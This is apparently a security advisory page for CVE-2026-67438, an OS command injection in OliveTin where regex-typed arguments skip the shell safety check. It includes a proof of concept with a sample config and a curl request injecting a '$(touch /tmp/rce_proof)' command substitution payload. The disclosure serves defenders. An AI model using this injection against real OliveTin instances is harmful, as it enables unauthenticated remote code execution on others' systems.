medium

CVE-2026-67438

Go · github.com/OliveTin/OliveTin

Summary

OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check

Severity
medium
CVSS
6.6
EPSS
1.6% (p75)
CWE
CWE-78
Also known as
GHSA-xc5w-4v5w-7x65
Published
2026-07-30
Updated
2026-07-30

Advisory details

Summary

OliveTin's checkShellArgumentSafety() function maintains a blocklist of argument types unsafe for Shell mode actions, but does not include regex:-prefixed types. Because regex: support was added independently via typeSafetyCheckRegex(), any Shell mode action using a regex:-typed argument bypasses the safety check unconditionally. The unvalidated value is then interpolated directly into the sh -c command string via Go's text/template with no escaping, enabling shell injection. Notably, even restrictive-looking patterns are exploitable — for example, a pattern blocking common shell metacharacters remains bypassable via POSIX command substitution.

Details

OliveTin is an open source web UI for running pre-configured shell commands. In the OliveTin service component, the function checkShellArgumentSafety() in service/internal/executor/arguments.go enforces a blocklist of argument types that are unsafe for use in Shell mode actions (actions that execute via sh -c). The blocklist includes password, very_dangerous_raw_string, url, email, and raw_string_multiline. It does not handle custom regex: prefixed argument types.

Custom regex: types are supported by a separate function, typeSafetyCheckRegex(), which checks whether a submitted value matches the provided pattern. These two functions evolved independently: when regex: prefix support was added to typeSafetyCheckRegex, checkShellArgumentSafety was not updated to treat regex: types as unsafe for Shell mode. As a result, any action configured with a Shell mode handler and a regex:-typed argument passes the safety check unconditionally, regardless of how permissive or restrictive the pattern is.

The argument value then reaches handleShellBranch → wrapCommandInShell, where Go's text/template interpolates it directly into the sh -c command string with no escaping.

Critically, this vulnerability is not limited to obviously permissive patterns like regex:.*. An admin who writes a restrictive-looking pattern such as regex: ^[^;|&<>]+$ - explicitly blocking the five most common shell injection characters (semicolon, pipe, ampersand, both redirects) — is still fully exploitable via POSIX command substitution.

PoC

  1. Deploy OliveTin
docker run -d --name olivetin-poc -p 1337:1337 \
  -v /tmp/olivetin-poc/config:/config \
  ghcr.io/olivetin/olivetin:3000.11.3
  1. Write the configuration below as /tmp/olivetin-poc/config/config.yaml , which represents a realistic admin-authored action: a Shell mode command that accepts user-supplied input validated by a custom regex pattern.
actions:
  - title: Custom Input Action
    id: custom_input
    shell: echo "Input was {{ .Arguments.customInput }}"
    arguments:
      - name: customInput
        type: "regex:^[^;|&<>]+$"
        title: Custom Input
  1. Trigger RCE via command substitution.
curl -s -X POST http://localhost:1337/api/v1/StartAction \
  -H "Content-Type: application/json" \
  -d '{"bindingId":"custom_input","arguments":[{"name":"customInput","value":"$(touch /tmp/rce_proof)"}]}'
  1. Now verify RCE by checking presence of file
docker exec olivetin-poc ls -la /tmp/rce_proof
olivetin_proof

Impact

An unauthenticated attacker with network access to an OliveTin instance can achieve full OS command injection - and in practice remote code execution — as the OliveTin process user, provided a Shell mode action exists with any regex:-typed argument whose pattern permits $, backtick, or parentheses.

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.